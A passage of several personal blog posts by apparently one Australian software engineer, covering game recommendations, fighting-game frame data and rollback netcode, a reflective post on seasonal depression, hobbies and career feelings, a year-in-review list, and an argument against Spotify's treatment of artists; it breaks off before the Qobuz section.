• ZeroRanger (2018)
• Cyberpunk 2077 (2020)
• Papers, Please (2013)
• Fez (2014)
• Life is Strange (2015)

Also I recognise that I've only been recommending games made after 2010. This hasn't exactly been on purpose, but as a 24 year old, it's harder for me to appreciate games on older tech.⁽¹⁶⁾ There are a lot of "older" games that I haven't played on or near their release date but have loved playing in retrospect though, I'll add some of them to the list if you were curious. I still recommend playing them now, I believe they all hold up well in today's landscape.

• Deus Ex (2000)
• Metal Gear Solid 1 (1999), 2 (2001), and 3 (2004)
• Planescape: Torment (1999)
• Shadow of the Colossus (2005)
• Okami (2006)
• System Shock 2 (1999)
• Portal (2007)
• Diablo II (2000)
• Metroid Prime 1 (2002), 2 (2004), and 3 (2007)
• Final Fantasy X (2002)
• Super Smash Bros. Melee (2001)*

* Okay, you might think this one definitely needs some explaining. Too bad, I'm still not going to explain it :)

Epilogue

I've gone through this post assuming you know how to read art and critically think about it. I don't really know what the "benefits" of critically reading texts are. But I find it as a way to further enjoy media I like, even for those that don't seem that "deep" at first.⁽¹⁷⁾

If you have literally any thoughts about media you've seen, you've already done some critical thinking, but probably in a less nuanced way. I recommend at least trying a more critical read of your favourite text (video game or otherwise) so that you can perhaps appreciate it more.

Critically reading something involves analysing and evaluating the content in a thoughtful, questioning manner, rather than passively consuming it. It's about engaging with media on a deeper level to understand its messages, intentions, and impacts. Here's a few general things I think you should attempt to do while reading your text.

• Understand the context

At some point you should try looking into the context in which the text was created. Consider who created the media and their potential biases or perspectives. This includes the designers, writers, directors, producers, and funding sources. If I don't already know about the context, I usually do this after I've finished the text so I can determine if I liked the text enough for it to be actually worth looking into.

• Analyse the content

Identify the central messages or themes. Ask yourself what the media is trying to communicate, whether explicitly or subtly. Notice the techniques used to convey messages or emotions, such as camera angles, lighting, sound, and special effects, or even level design for video games.

• Question the purpose

Think about who the media is aimed at. What demographic is it targeting, and how does that influence its content and style? Consider whether the media has a specific goal, such as informing, entertaining, persuading, or selling something.

• Consider your own reaction

Reflect on your emotional response to the media. Why did you react the way you did? How might your own experiences, values, or biases influence your reaction? And assess the quality of the media. This can include the coherence of its arguments, the originality of its approach, or its artistic merit.

• Compare with other sources

I think it's important to seek out other critiques on the text from different creators or perspectives. This can provide a more rounded understanding, and it's also just fun to hear other peoples' opinions. For video games, I highly recommend watching video essays by Noah Caldwell-Gervais and Jacob Geller to start.

Finally, I realise that is the longest posts I ever written on this blog so far.⁽¹⁸⁾ I can see the irony in calling it a "short list," so thanks for sticking it out so long. As you can probably guess this is a topic I'm very passionate about.

Video games are something I think about a lot, and I'd like more people to be able to talk about them. With most gamers it's a little obvious that they don't really - for lack of a nicer term - pay attention.

To be fair, I don't think that is a major problem, there are certainly more pressing issues in the world. Most people don't really think that much about their entertainment in general, they have other things to worry about. I recognise that having the spare time to spend dissecting video games is certainly a privilege many others don't have.

I only started going down this road in 2015 when Metal Gear Solid V came out, which was a certain… je ne sais quoi. I don't know, the best I can describe it was that I couldn't really understand its existence, and I became determined to use the spare time I gained by ignoring my school work because I had this cool laptop to play games on to understand what it really was.

But that's a story for another time.

It's been rough.

I've never felt so out of depth trying to properly learn a new video game genre before. And I've learnt to play a lot of genres - those bullet hells where you have to dodge thousands of projectiles for several minutes on end? Piece of piss, you can basically just memorise a few bullet patterns and then get through any game mostly fine. Speed-running Dark Souls? More like speed-running Baby Souls because the game is so easy a baby could play it. Rhythm games going at insane speeds requiring you to do at least 20 key presses per second? Also just pattern matching (and a bit of timing), I could do that shit with half the screen hidden. Doing sick aerials in Rocket League? Yeah, I DO THOSE.

But not fighting games. Fighting games are probably the most intimidating thing I've ever tried to learn. Like I know what I need to do to get better. I just don't see how it's possible.

Let's talk about frame data.

Pretty much all fighting games are capped at 60 frames per second (fps). If you're a PC gamer™, this at first glance sounds unacceptable. I normally play games at over 120 fps⁽¹⁾ so anything below 90 fps looks like a stop motion film to me. But having a fixed 60 fps is basically the only way for these games to work because their mechanics are designed and balanced around the frame rate.

So, frame data is a complete list of the inner workings of every move in a fighting game.⁽²⁾ It tells you how many frames a particular move takes to start (startup frames), how long it lasts (active frames), and how long the character takes to recover after the move is done (recovery frames). It also describes what the frame advantage/disadvantage is when the move hits or is blocked (I'll explain this later).

This is a small part of Dustloop's⁽³⁾ frame data table for Bridget from Guilty Gear Strive.

Let's look at her 5P⁽⁴⁾ (the first row), which is a basic jab, typically one of the fastest and most basic attacks a character has, used for quick pokes or to interrupt an opponent's actions.

Skipping the damage and guard columns because they aren't important for this scenario, this attack has 8 startup frames, which means if the opponent pressed a button on the same frame as you but chose a move with longer startup frames (anything over 8), your move will "win", hit them and cancel their move by putting them into hitstun. ⁽⁵⁾

The active frames are the number of frames during which a move can actually hit an opponent. During this time, the attack's hurtbox (the area where it can make contact with an opponent) is active, when it collides with the opponents hitbox, the attack is registered. The length of this period can affect how easy it is to time a hit.

Recovery frames are the number of frames it takes for the character to return to a neutral state where they can perform another action. So her 5P has 14 recovery frames, which means after the attack has finished there are 14 frames where you can't do anything. This is the part of the attack that leaves you wide-open if you whiffed the move, so as long as the opponent uses a move with a startup under 14 frames, you can't block the attack.

Next is "on-block" and "on-hit". This determines "frame advantage", which is who recovers first when a move hits (on-hit, causing hitstun) or is blocked (on-block, causing blockstun). For Bridget's 5P, both "on-hit" and "on-block" are "minus" frames. This means you will recover from the move slower than the opponent recovers from hitstun or blockstun.

So being -6 on-block effectively means that if the opponent blocked the attack, you have a 6 frame disadvantage on your next move. And if you wanted to immediately do another 5P, that 8 frame startup essentially becomes 14 frames instead (8 + 6). Now the opponent only needs a move that has a startup of lower than 14 frames to beat you.

Conversely, when we say a move has "plus frames," it means that after executing the move, you can act again before the opponent can. This situation occurs when the move's hitstun lasts longer than the recovery time of the move. Bridget's 5K⁽⁶⁾ is +1 on-hit, so if the move hits (isn't blocked), Bridget has a 1 frame advantage. Now if you wanted to 5P immediately after again, your 8 frame startup becomes 7 frames (6 - 1).⁽⁷⁾

To beginners, fighting games appear to be continuous, action-packed exchanges between players. But what's interesting is that when analysed through the lens of frame data and the concept of plus and minus frames, it becomes apparent that fighting games actually involve a turn-based system hidden within their real-time mechanics.

When you execute a move that leaves them with frame advantage, you earn the "turn" to act before their opponent can react, allowing you to continue your offensive or apply pressure. On the other hand, being at a frame disadvantage means it's your opponent's turn to take action, potentially putting you on the defensive.

An important part of this is the "neutral game", where both players are neither distinctly on offence nor defence, which involves a tactical battle for the opportunity to take the turn. Players often use moves that are safe on block—those that leave the player at a neutral or slight disadvantage—to probe the opponent's defences without overcommitting, aiming to create an opening or elicit a mistake that leads to gaining frame advantage.

This turn-based dynamic creates serious strategic complexity. You need to be able to balance executing combos and defence with managing when to attack or defend, leveraging frame data to control the flow. High-level play involves using moves that are safe or alter frame advantage, thus dictating the pace. This system, blending turn-based strategy with real-time action, demands foresight and tactical planning, almost akin to traditional turn-based games but at a literally frame-perfect pace.

Dark Souls is another game that has this "turn based real-time" gameplay dynamic, but it's actually one of the things I hate about Souls-like games in general. I don't like having to wait for my turn, it's boring and just involves pressing the roll button at the right time. Fighting games solve this by speeding the turns up to only last a few seconds at most, and adding the additional complication of mind-games against your opponent.⁽⁸⁾

Now I don't think you need to memorise the frame data for every move every character has in a game, but you should at least memorise it for the moves your character does.

But still, it's fucking nuts.

I've never seen a game before where frames are this important.

In fact, they're so important that most modern fighting games these days include an indicator for online matches to tell you if your opponent is using a wired (Ethernet) or wireless (Wi-Fi) connection so you can discriminate against Wi-Fi users and decline having a match with them. THIS IS BUILT INTO THE GAME. IT WANTS YOU TO BE RACIST AGAINST WIFI USERS.

Okay, let's take a step back. Why do this?

For online play, modern fighting games use what's called "rollback netcode", which predicts the players' actions based on their most recent inputs, allowing the game to continue without waiting for the latest data from the other player. This prediction helps keep the game feeling responsive, even over imperfect Internet connections.

When new input data arrives from the other player and it doesn't match the prediction, the netcode "rolls back" to the correct state and updates the game. Normally, this correction happens so quickly that players often don't notice.

Basically, rollback netcode significantly reduces the perception of lag, so that players can execute moves and see reactions with minimal delay.

I recommend watching "Analysis: Why Rollback Netcode Is Better" by Core-A Gaming for a better explanation.

The problem with Wi-Fi connections is that they're less stable and more prone to interference than wired connections. This instability can lead to fluctuating ping times and packet loss.

Fighting games are games where every frame matters which means every frame needs to be synced across all players for the game to function correctly.

The inconsistencies of Wi-Fi generally lead to more frequent and noticeable rollbacks. I didn't believe it at first, that it would matter that much, but like… it does, holy shit it REALLY does. I don't like playing against Wi-Fi users, I decline to fight them now.

I've NEVER had to do this before in any other game, it's fucked up.

These games are fucked.

I love them.

Epilogue

League of Legends ruined my life⁽⁹⁾ and I quit that game in 2016, so I don't know anything about a lot of the characters now. But here's a list of characters I want in 2XKO (stupid name):

• Teemo
• Gnar
• Kennen
• Kha'Zix
• Teemo
• Ezreal
• Zed
• Lulu
• TEEMO
• Thresh
• YOU BETTER PUT TEEMO IN THE GAME YOU FUCKING COWARDS

This is basically just the list of characters I mained.⁽¹⁰⁾

Also they should add Tracer from Overwatch as a guest character thank you for coming to my TED Talk.

He [sic] makes websites.

This is a sure-fire way to offend me. So then I make the correction.

Um actually, I'm a software engineer.

This time of year (Dec to Jan) is normally a little difficult for me as it is always when seasonal depression starts to flare up.

Firstly, it's summer here in Australia. I hate warm weather because I hate sweating and not being able to wear more clothes. This also is the only reason I'm against climate change.

Secondly, it's the holidays, and everyone gets really happy about that. I don't like being around cheerful people, it just makes me more depressed.⁽¹⁾

Thankfully, I have the option to just lock myself in my apartment and play video games until I go back to work and distract myself with that.

But I've never been sure that this is a very healthy way of living, so last year, I tried going to Tasmania because it's the coldest place in the country and somewhat remote for Sydney standards.

That didn't work. You can still be depressed when climbing a mountain. Celeste lied to me.

So this year I went back to the tried and true method of ignoring basically everything, and finding a nice video game to play.

Part 1: Kerbal Space Program 2 Made Me Suicidal

There's a certain type of game I tend to get extremely addicted to for a short period of time. I call them "games about jobs I think it would be cool to try."

These include games like Motorsport Manager, every Zachtronics game, Stellaris, City Skylines, and of course, the fabled Stardew Valley.⁽²⁾

The most recent addition is Kerbal Space Program 2, which I had recently heard became good after it's "For Science!" update on the 20th of December. Great timing for dealing with seasonal depression.

I was going to take the Steam store page blurb to explain what the game is if you didn't know. But I don't think it explains it very well if you didn't know about the first game, so I got our favourite chatbot to do it instead.⁽³⁾

"Kerbal Space Program 2" is a space flight simulation game where players design and launch spacecraft in a realistic aerospace environment. Players construct vehicles to explore planets and build space colonies, facing real-world space travel challenges. The game combines education and entertainment, teaching aerospace engineering and astrophysics in an immersive, graphically detailed universe.

Look buddy, I don't know how to explain what the sheer euphoria of landing Penis Rocket MK-III⁽⁴⁾ on the Mun (Kerbal's version of the Moon) for the first time is like. But holy fuck. It's good stuff.

I mean all it took was to get into orbit once, and two days later I had 15 hours in the game and just left for Duna (Kerbal's Mars).

I'm not entirely sure why I get so compelled by stuff like this. I don't think this is a Dark Souls situation where I'm attracted by the difficulty, because to be honest, it wasn't that hard.⁽⁵⁾

My best guess is that it's all the preparation, the planning, then the uncertainty of the execution. And when it's finally done, your little Kerbal jumps out of the spacecraft, plants a little flag on a rock far from their home, and then you think: "I did that."

I strapped my little buddy into a cylinder propelled by explosions and just fucking shot them into space, then used the gravitational mass of their own home to slingshot them towards a completely different planet millions of kilometres away.

I DID THAT.

AND THEY'RE NOT DEAD.

IF GOD EXISTS I MUST BE THEM.

It's just cool as shit.

Anyway, I said I get addicted to these for a short period of time. Well, as usual, the inevitable happens.

What the fuck am I doing with my life?

I often start feeling guilty for even attempting any form of escapism when I could be working on any one of the multiple problems in my life right now.

Especially when one of those methods of escapism is kind of linked to one of my anxieties. Like yeah, making rockets is cool - but this is just pretend, it's not going to help me in life.

Because in real life, I make we-

Part 2: Sometimes to confirm the difficulty of being alive, I consider the possibility that I'm actually a girl

One of my first multi-month long programming projects was a search engine I made for my high school software class's major project. It's also one of the earliest things I've written about on this blog.

I don't really remember what made me choose such an "ambitious" project. There wasn't really a need to try that hard when my classmates were making stuff like pomodoro timers instead.⁽⁶⁾

But I do know that this project may have been what determined the path of my life for the past seven years. I was basically trying to make Google, so I gained a lot of experience in making what I believed Google to be.

This experience then led me to getting my first job a few months later. That basically further solidified the path, and so here I am now, someone who argues with random people on the Internet on how best to do UI state management for a CRUD app.

Because the obvious answer to that is -

DON'T DO STATE MANAGEMENT IN YOUR UI.

FUCK YOUR JS FRAMEWORKS.

DO EVERYTHING ON THE BACKEND.

IN RUST.

…

Recently my boss sent this meme to me on Slack out of the blue, without any context.

Ah shit, he thinks I'm the goose doesn't he?

Interlude: Can sim-racing turn me into the next Max Verstappen?

For the past few years I've been building out a nice little⁽⁷⁾ sim rig for sim-racing. I don't actually sim-race that much, so it seems I've mostly been doing it just of out the joy of building and putting it together. It's kinda like doing Lego for me.

But recently I've realised I have kind of ran out of things (that I could reasonably justify to myself) to upgrade. Everything on the rig is basically top of the line, and I don't really have the space required for the next "level" of upgrades, that being triple monitors and a motion simulator.

So it looks like I'm going to have to start "using" it now instead of just endlessly tinkering with it…

I'm normally into rally games but I've been trying to get into circuit racing with iRacing (the sim Max Verstappen seems to play a lot), which has made me come to a startling realisation.

I'm not very fast.

But that's okay! It's all about having fun isn't it?⁽⁸⁾

I've also been recently trying out the "Low Fuel Motorsport" (LFM) community run service for Assetto Corsa (AC). It's basically a way of getting an iRacing like experience in AC. I generally prefer AC's driving physics and staying away from iPricing's egregious business model keeps my wallet happy.⁽⁹⁾

Also, they don't enforce a real name policy (you just need a name that looks real, not your actual one), which I prefer over letting random gamer dudes on iRacing know who I am.

And it lets me pretend I'm a girl.

So far, I've been enjoying it quite a bit - Uh, a propos Assetto Corsa that is. And apparently I'm much better at it than iRacing given I somehow have an Elo rating of 2100 which puts me in the top 2 percent of the playerbase. Not sure how that works since I'm around 1 to 1.5 seconds slower than the really fast drivers, but it probably has something to do with the fact that LFM doesn't have a very big userbase. The AC series only has around six thousand rated drivers, according to their website.

Wait, website?

Part 3: They make war crimes

The closest thing I've ever had to a "dream job"⁽¹⁰⁾ is working at Valve (and Oxide in recent years, but let's keep with Valve for now). I've never seen someone who works or once worked at Valve and didn't consider them an incredible engineer (or artist, but I don't have much of an authority on that). I read the employee handbook when I was 15 and basically became a life long fanenby.

I know a lot of people see the lack of games coming from Valve as a sign of a lazy company, not really doing anything, and just coasting by with their cash cow that is Steam.

Valve, at least from what I see, isn't a video game company - they're an engineering company that is video game adjacent. That infinite money glitch they found with Steam has enable their ""flat"" company structure to just allow their employees do whatever they want. When you get a group of extremely passionate engineers (and artists) all the time and money they need, you have Valve and a guarantee that anything that comes out of the company will be the best of what anyone could have come up with.

I fanenby over them this hard, fully knowing that they aren't a perfect company.⁽¹¹⁾

I saw a Mastodon poll a while back that asked the question of if you'd rather work for Blizzard or Lockheed Martin. For me, that was an easy answer that I voted on almost immediately - Lockheed Martin. This isn't really a "if you HAD to work for one" situation, I'd probably be fine working for them out of my own free will. But thinking about it for a little more time, it seemed a little strange.

Lockheed Martin is a company (at least in part) responsible for the deaths of hundreds of thousands of people, they contribute to the "industrial military complex" like no other. Would I really choose them over a company that yes, treats it's employees very poorly but otherwise makes harmless entertainment? Not to undersell the shit Blizzard does, they're certainly one of the worst companies out there, but people use the things Lockheed Martin creates to LITERALLY KILL OTHER PEOPLE.

This section of the post has gone through many rewrites. And I'm telling you this because a previous draft had these lines.

Over the course of my life I've seen the tech industry most closely aligned with web development consistently introduce more exploitative, anti-consumer, emotionally manipulative bullshit year after year.

I don't work in FAANG, and probably never will. My workplace doesn't do anything like this (yet), but even still, I feel kind of responsible just for even being near any of it.

What!!?!?

How can I hold that opinion when I also think, and to quote three paragraphs ago.

I'd probably be fine working for [Lockheed Martin] out of my own free will.

AM I JUST OKAY WITH WAR CRIMES?

No, I'm pretty sure I'm not actually okay with war crimes. I think. I wouldn't actually ever attempt to look for a job there (but that may be in large part due to me wanting to avoid working for big companies).

To me, the difference between Lockheed Martin and let's say - Google, is the F-117, the F-35 - that is, basically anything that has come out of Skunk Works. The difference is "Cool Engineering™".

There are few things in my life I desire more than "Building Cool Shit™" and being good at it.

Websites aren't cool.

And I'm embarrassed that people think I make them.

Which is kinda interesting because I think this website is cool, and I'm actually quite proud of the work I put into it (even though the vast majority of it is never seen by you). This also goes with a few things I've done in my many years of work as well.

So I don't really understand what's going on. I appear to be a giant ball of contradictions.

According to a person who's opinion I often take to become my own, "The Website vs. Web App Dichotomy Doesn't Exist" and yeah, I'd largely agree with that statement and with what the author says in the post. I was thinking that my confusion came from this categorisation, that there's a certain subsection of Internet connected web-based services I find "cool" and "uncool".

It doesn't seem like that's the case though, and the things I think are "cool" on the Internet don't seem to be correlated in that way.

I've gotten like six pieces of fan-mail since this blog went online. They'll say things like, "I enjoy reading your blog", "it inspired me to write my own", and maybe a question to clear up something I said in a post. Every single time I've received one was a "OH MY BIDOOF PEOPLE READ THIS FUCKING WEBSITE???" moment.

I genuinely believe that this blog is the most useful thing I've ever made. The fact that people find value in this astounds me.

I know even with how much I like what I've done, that making weird nginx modules that can change the background colour of a page just to avoid using JS, and writing fucked Rust programs to create your own DNS nameservers aren't actually all that interesting or difficult of engineering challenges. But it still feels really nice to know someone is getting something out of this.

I've always said that this blog is for me. And… that hasn't changed, it's still and always will be for me. But I guess I can share it with you too :3

Maybe I don't just want Cool Engineering™ but Useful Engineering™.

Epilogue

Solipsism is a young enby's game and I'm honestly not sure how much longer posts like these can keep coming out. Not saying I'm getting old, but every year before starting to write a new one of these, I re-read the previous years starting from the Stardew Valley one. Every time I do this, I'm always surprised about how vulnerable they are.

I don't particularly understand why I am comfortable writing all this out in public, especially under my real name. It does not feel like something anyone who knows me (including myself) would expect me to ever do.

Like if you asked me in real life how I was going, the best you're probably going to get is a picture of a red panda, either scared⁽¹²⁾ or sleepy. This is honestly one of my biggest mysteries. I dunno, maybe the day I figure out what lets me write this will enable me to figure out a bunch of other stuff about my mental space. It probably won't, but it's a nice thought.

Either way, these yearly posts may need to stop being about this, especially with how infrequently I post now, I don't want this blog to just be about depression or some shit.

But I don't want to stop the "postes d'aniversaire", so I'll think of something else to write about. Since these come out in (late) January, it's probably still okay to do a "year in review" sort of thing like with what I see other people do.

I don't really know though, those sort of posts - and I mean this in the most inoffensive way possible to those that do it - are just a bit lazy for what I want on this blog. I don't want to just recount the crap I've done and seen.

Though I guess I kinda did that on last year's post, but there was a "narrative" reason for that… Okay maybe I'm just too pretentious, let's try it out a mini version of that right now and see how I feel about it.

Epilogue 2: Electric Boogaloo

I've been writing and deleting drafts about things I've done and seen the past year for the last 30 minutes. I don't know how to do this in an interesting way. But I promised you I would do it, so I'm going to do it. In quick and easy bullet point form.

• Video games that came out last year, in descending order of most liked. Ones I didn't like or didn't finish (if they have an ending) aren't included.
  • Chants of Sennaar - "This game caused me to memorize the grammar structure on how to call someone an idiot in a fictional language rather than study for my finals next week." - Steam reviewer.
  • Hi-Fi Rush - I think this game was specifically made for me.
  • ARMORED CORE VI - Big robot fly, shoot gun, and talk to imaginary girlfriend.
  • Slay The Princess - I can fix her.
  • Kerbal Space Program 2 - You already know what this is.
  • Cyberpunk 2077: Phantom Liberty - It's good now. Yes, I'm counting this as released this year, it's basically a new game. Well, not really, but this is MY list.
  • Legend of Zelda: Tears of the Kingdom - Didn't fix any of the problems with BOTW, but made the good parts even better. Would be so much better on actually good hardware though.
  • Street Fighter 6 - There will probably be a post about this at some point.
  • Bomb Rush Cyberfunk - Cool skateboard (and other human powered methods of transportation) game, great music.
  • Rusted Moss - Any game with a grappling hook is good.
  • Honkai: Star Rail - Kafka and now Ruan Mei (pictured) are my new mums. Source: nyeppu
  • Mosa Lina - Very well designed puzzle game that doesn't feel like it was designed at all.
  • EA SPORTS WRC - Kinda disappointing, but it's still a rally game, and rally is intrinsically fun.
  • OTXO - If Hotline Miami was good. Yeah, that'll get some bites for sure.
  • Graze Counter GM - Pretty good shmup, I like the graze mechanic, but I only play shmups with Sakuya (pictured) in them (not a joke, only reason I haven't played Ikaruga or ZeroRanger much). Source: モ誰
  • Risk of Rain Returns - I didn't really like going to 3D in Risk of Rain 2, so I'll gladly take a game that's just the original Risk of Rain but with more stuff.
  • Cities Skylines II - Good, but needs more time in the oven. In a similar place to where KSP 2 was before the update.
  • Turbo Overkill - Every time I play one of these movement shooters I just start thinking: "I can't wait until ULTRAKILL is finished."
  • Touhou Juuouen ~ Unfinished Dream of All Living Ghost. - No Sakuya, didn't play much.
• Video games (misc). Video games are the only form of media I know how to critically think about, so they're the ones I spend the most time with/can talk about the most.
  • Furina (pictured) almost made me start playing Genshin Impact. But I don't know how long it will take a new player to get to Fontaine, and I can't really be bothered. Just wish she had a French accent though, that'd be nice :( Source: 雨傘ゆん
  • I played Assassin's Creed Unity before going to Paris. I like the game version more (less cars). No but actually, it's an incredible recreation and is the closest thing I'll ever get to seeing the Notre Dame. The game itself wasn't that good (but I've never liked an Assassin's Creed game before, so maybe my opinion is invalid).
  • I also played Steelrising but there wasn't a French voice-over language option (EVEN THOUGH THE GAME IS MADE BY THE FRENCH), so I didn't get far in that game. Was pretty good though, but that's probably because every time a historical person was introduced I could go: "HEY I KNOW THAT PERSON!!" Although with almost every person involved with the French Revolution being an old white dude, it was hard for me to tell the characters apart during cut-scenes, so it's good they included people like Julien Raimond because he was basically the only person I could recognise without the subtitles telling me who he was. But at some point I just became sick of hearing their English accents and had to stop.
  • Lies of P is not French enough, so I also didn't get far in that game. I could excuse the game for not having a French voice-over because it's made by Koreans, but when I get told the game is "French Bloodborne with a femboy" I expect FRANCE. Delivered on the femboy front though.
• Anime.
  • Frieren: Beyond Journey's End - She (Frieren (pictured)) is just like me frfr. Source: yadon
• Books.
  • I don't read books. I didn't read anything that was published last year.

I'm going to ignore that and break format for a bit because I actually really want to talk about The Fifth Science by exurb1a of the YouTube channel "exurb1a." Originally I was a little apprehensive about it because it's written by a "YouTuber", but I'm glad I gave it a try, because it's really fucking good.

In 2020,⁽¹³⁾ I made a series of two posts: "« My Favourite Shows Are Supernatural, And Star Trek TNG »" and "An Anime Made Me Rethink My Entire View On Cognition." If you are even remotely interested in the ideas I put forward in those posts, you will like the book. It's a great work of speculative science fiction.

I wouldn't say every short story in there is a masterpiece, some did make me roll my eyes. But there were enough good ones and some very good ones to keep me engaged.

• Holiday in Europe.
  • France
    • Paris - Certainly one of the cities of the world.
    • Le Mans - Spent a day at a nice race car museum.
    • Dijon - Rented a Ferrari to drive at a race track. Sim-racing has not turned me into the next Max Verstappen. Yet.
  • Belguim
    • Liège - Went to go watch the F1 race (my first one in person). Was feeling a bit sick and spent all day walking and standing in the rain just to get a glimpse of race cars for two seconds every two minutes. Fucking great experience, would do it again.
  • Germany
    • Oopie, turns out I (pictured) had the rona. And walking 12 km every day for 3 days straight probably made it a lot worse than it should have been. Felt okay during F1, but the day after it ended I was basically bed-ridden. Remaining time here was a complete fever dream and I don't remember anything. That's okay though, I don't give a shit about Germany. I got everything I wanted out of the holiday once I stopped hearing people speak French.
• Blog.
  • Started work on the next interesting project. Will probably take a while to come out because it requires me to know smart stuff and I am bit dumb.
  • Since the entire time this blog has been alive, I've kept all ideas for posts in my head under the assumption that if I forgot them, they weren't very good to begin with. But thinking about it now, with how the blog doesn't take up the same amount of space in my brain as it used to, I believe I've been forgetting more post ideas than I should be which may be a reason for why I only had 6 posts last year. So I've just opened a text file and dumped all the ideas I could think of right now for future reference. Maybe it will help.
• Life.
  • Completely settled into my apartment, but my sim-rig has started to talk to me at night. It yearns for more space. I think I need another bedroom to put all my computer shit in. May start looking to buy a new place next year when I've saved up for another deposit.
  • I've learnt that I get too scared to deal with cockroaches. I think I should get a boyfriend.
  • My French teacher seems to get slightly less disappointed in me whenever we meet now. This is good I think.

I didn't mind doing this, it was actually kinda fun recapping everything but I don't think it makes for an interesting read, so I still don't really know if I should do it in the future. We'll see.

Okie that's all, bye bye!

Oh Bidoof, I forgot that I still have to write that Bocchi The Rock! post I meant to do last year.

A company whose entire business depends on the work thousands of artists, compensates them with basically nothing (and has plans to make it even worse). All while their CEO invests millions into military AI companies.

Spotify does not care about artists.

The rest of the post hinges on this argument. If you're wondering why you should care how much artists get paid, I don't believe I can convince you, and you should probably just close the tab and not waste your time. If you're even asking that, then I think that we're fundamentally different people who won't be able to agree on values. I don't know how to tell you that it's good to care about others.

I don't normally like telling people what they should spend their money on, I generally like to respect people's opinion on why they choose to do business with a company they know is morally bankrupt and actively making the world worse. Sometimes there just is no alternative, and even if there is, no matter where you go, in all likelihood - someone, somewhere down the supply chain is getting exploited. That's just how the world is right now.

However, this is not one of those times. There are many alternatives. Pretty much all of them more ethical just by virtue of actually paying artists.

I'm here to tell you that you won't miss anything by leaving Spotify.

We're going to go through a comparison of streaming services that I've personally used over the years.

• Spotify (2014-2019)
• Apple Music (2019-2023)
• Tidal (early 2023-present)
• Qobuz (late 2023-present)

I don't actually really use Qobuz in the same sense that I use Tidal, so I'll skip it for now and return back to it later.

Apple Music and Tidal both pay significantly more than Spotify (0.8 and 1 cent(s) per stream respectively) and from my experience, are honestly better services.⁽¹⁾ For transparency, I wasn't aware of all the bullshit Spotify was doing until 2020, but I wasn't planning on going back so it never affected any decisions on what service to use.

Out of the three I consider Apple Music the best. The only reason I keep a Tidal subscription is because they pay more as well as something else related to that thing about Qobuz I'm going to get to later.

The most obvious advantage of the two is the fact that they offer lossless audio quality. This means the audio better preserves the original quality of a recording. Unlike lossy formats, which compress audio by removing certain details to reduce file size, lossless audio retains every bit of the original data. This results in higher sound quality, with more depth, clarity, and a broader dynamic range.

If you've never heard good lossless audio quality, you probably won't notice anything different at first, but stick with it for a while and it will be very noticeable if try you go back to lossy audio (if you're a gamer, it is a bit like going from 60 FPS to 144 FPS). You may also need decent audio gear if you want to get the most of it, but AirPod Pros or their Samsung equivalent are good enough I believe.

Spotify has been planning on offering a lossless tier, it's been delayed for over two years with no release date in sight and will most likely be only for a higher tier of subscriptions, whereas Apple Music and Tidal offer lossless on their standard tiers.

Most people seem to like Spotify for music discovery by using recommendation algorithms like "Discover Weekly."

I can't speak for how you'd find the recommendation algorithms of Apple Music or Tidal, since they're supposed to be tailored for each individual. But I've seen many people on the Internet vouch for each service. Anecdotally from what I've seen with people who have used all three, Spotify and Tidal and generally the best, with a bias towards Spotify.

Personally, recommendations never worked all that well for me on any service. I have strange listening habits, and the music I listen to most isn't the music I like the most or even want more of. This pretty much always fucks over any machine learning algorithm as the music I want to discover, aren't anything like the ones it thinks I listen to.

Most of my new discoveries come from word of mouth, or by going into the artists page and clicking on other related artists. The "clicking around" experience is pretty much the same on every service.

However, that isn't to say machine learning has been completely useless. Earlier this year Apple Music introduced "Discovery Station" which is just an infinite radio of recommendations. For each song that comes up you can favourite it or tell it to "suggest less" which is a nice and easy way of tuning the algorithm. After about a week of telling it to "suggest less" whenever stuff like this came up, it actually became pretty good for new music as well as just being good a background radio while I do work.

Spotify also seems to have something like this with an "AI DJ." I didn't get anything out of it, but I'm sure that's just because I tried it on a new account without a large listening history.

All services also have a way to create a radio mix from a song/album/artist to find similar music. And they're all okay. Tidal was probably best at it.

In my opinion, computer generated recommendations are better served by a service that specialises in it. I've just started using last.fm two months ago and have already gotten more discoveries from that than my entire Tidal subscription, but that may be because I've only recently started to lessen the amount of J-core in my music diet. Here's my page if you were curious.⁽²⁾

In terms of music availability, it's Spotify tied with Apple Music for the biggest catalogue. Tidal has a few gaps with niche and non-western artists. This more or less just correlates with how popular the service is, so the obvious solution here is to be the change you want in the world :)

Somewhat related, my favourite feature of Apple Music is actually how it allows you to upload your own music to your library. I buy music from Bandcamp (for those unknown indie bands not on any service), so it's great to just upload them to Apple Music and have a single place to listen from.

Spotify also lets you use local files, but it's ahh… how do I put this… complete ass and was originally THE reason I switched. Not only does it barely function most of the time, you can only listen to your files on the device they're originally on; It isn't uploaded to your library like it is with Apple Music,⁽³⁾ making it completely useless.

If you have huge playlists and are worried about the time sink moving them to a new platform, you can use a service like Soundiiz to transfer them. I used it for both migrations into Apple Music and Tidal without any issue. The free plan is capped at 200 songs per playlist, but you can just subscribe at €4.50 for one month and just cancel it immediately (you'll still get the entire month, so do it immediately and you won't have a chance of forgetting to cancel).

Spotify also seems to branched into other non-music related industries like podcasts and audiobooks. Obviously neither Apple Music or Tidal do that,⁽⁴⁾ so if any of those are what's keeping you on Spotify… fine, I guess.

I'd stay away from keeping all your eggs in one basket though. You'll get burnt when your overlords start wanting to make omelettes.⁽⁵⁾

I want to experience good art. Artists need money to stay alive. I pay for art so artists can stay alive and make good art.

The issue is, moving to a different service won't solve the fundamental injustice of the streaming economy. It just not reasonable to expect unrestricted access to the entire history of recorded music for $10 a month and have it be sustainable.

So really: You Should Stop Using Music Streaming Services.

Yes, Apple Music and Tidal pay better than Spotify, a lot better - but it's still not all that good. Paying more is mostly just a marketing shtick more than an actual desire to pay fairly. They are companies after all, paying artists by it's very nature means they get less profits, why would they want that?

I don't normally like telling people what they should spend their money on, mostly because I know I have a position of extreme privilege. I'm in the top 1% of incomes for my age bracket, and the top 5% for everyone in Australia. I don't really ever have to worry about money⁽⁶⁾ (if that isn't obvious already from all the dumb shit I spend my money on), and the only time I've ever had to tighten my budget for a few months was because I dropped all my savings into a deposit for my apartment.

And yet here I am, a 1%er,⁽⁷⁾ about to tell you that you should stop using the, frankly incredible (and unreasonable) value streaming services give you, and instead go back to buying albums individually for $5-20.

So, I won't say that.

Instead; You should go back to piracy.

Haha jk… or am I? ;)

No but seriously, just get off Spotify.

epilogue

If you want to know more, the unsustainability of music streaming is pretty well documented. While mainly focused on Spotify, here's a good video by Benn Jordan that goes through most of it.

This video from Some More News is also good for more Spotify hate fuel.

Anyway, I've kind of forgotten to talk about what the deal with Qobuz was, so here it is.

